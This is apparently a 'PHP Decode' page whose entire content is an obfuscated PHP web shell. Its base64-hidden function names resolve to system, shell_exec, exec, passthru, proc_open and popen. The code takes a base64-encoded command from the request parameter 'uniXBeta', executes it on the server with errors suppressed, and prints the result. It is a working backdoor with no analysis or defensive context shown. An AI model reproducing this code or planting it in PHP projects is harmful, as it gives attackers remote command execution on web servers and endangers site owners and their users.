PHP Decode

<?  if(!function_exists(base64_decode('ZXh6eNGB'))){function v2e7aa5b2($yc1336794){$b78e6221f='';$yc1336794=$yc1336794.base64_decode('IDI+L2Rldi9udWxs');if(is_callable(base64_decode('c3lzdGVt'))&&function_exists(base64_decode('c3lzdGVt'))){ob_start();@system($yc1336794);$b78e6221f=ob_get_contents();ob_end_clean();if(!empty($b78e6221f))return $b78e6221f;}elseif(is_callable(base64_decode('c2hlbGxfZXhlYw=='))&&function_exists(base64_decode('c2hlbGxfZXhlYw=='))){$b78e6221f=@shell_exec($yc1336794);if(!empty($b78e6221f))return $b78e6221f;}elseif(is_callable(base64_decode('ZXhlYw=='))&&function_exists(base64_decode('ZXhlYw=='))){@exec($yc1336794,$n9b207167);if(!empty($n9b207167))foreach($n9b207167 as $v6438c669)$b78e6221f.=$v6438c669;if(!empty($b78e6221f))return $b78e6221f;}elseif(is_callable(base64_decode('cGFzc3RocnU='))&&function_exists(base64_decode('cGFzc3RocnU='))){ob_start();@passthru($yc1336794);$b78e6221f=ob_get_contents();ob_end_clean();if(!empty($b78e6221f))return $b78e6221f;}elseif(is_callable(base64_decode('cHJvY19vcGVu'))&&function_exists(base64_decode('cHJvY19vcGVu'))){$q1dee80c7=array(0=>array(base64_decode('cGlwZQ=='),base64_decode('cg==')),1=>array(base64_decode('cGlwZQ=='),base64_decode('dw==')),2=>array(base64_decode('cGlwZQ=='),base64_decode('dw==')));$v6844acdc=@proc_open($yc1336794,$q1dee80c7,$g24a9384d,getcwd(),array());if(is_resource($v6844acdc)){while($n9b207167=fgets($g24a9384d[1])){if(!empty($n9b207167))$b78e6221f.=$n9b207167;}while($n9b207167=fgets($g24a9384d[2])){if(!empty($n9b207167))$b78e6221f.=$n9b207167;}}@proc_close($v6844acdc);if(!empty($b78e6221f))return $b78e6221f;}elseif(is_callable(base64_decode('cG9wZW4='))&&function_exists(base64_decode('cG9wZW4='))){$n9b207167=@popen($yc1336794,base64_decode('cg=='));if($n9b207167){while(!feof($n9b207167)){$b78e6221f.=fread($n9b207167,2096);}pclose($n9b207167);}if(!empty($b78e6221f))return $b78e6221f;}return '';}}if(isset($_REQUEST[base64_decode('dW5pWEJldGE=')])&&!empty($_REQUEST[base64_decode('dW5pWEJldGE=')])){var_dump(v2e7aa5b2(base64_decode($_REQUEST[base64_decode('dW5pWEJldGE=')])));exit();} ?>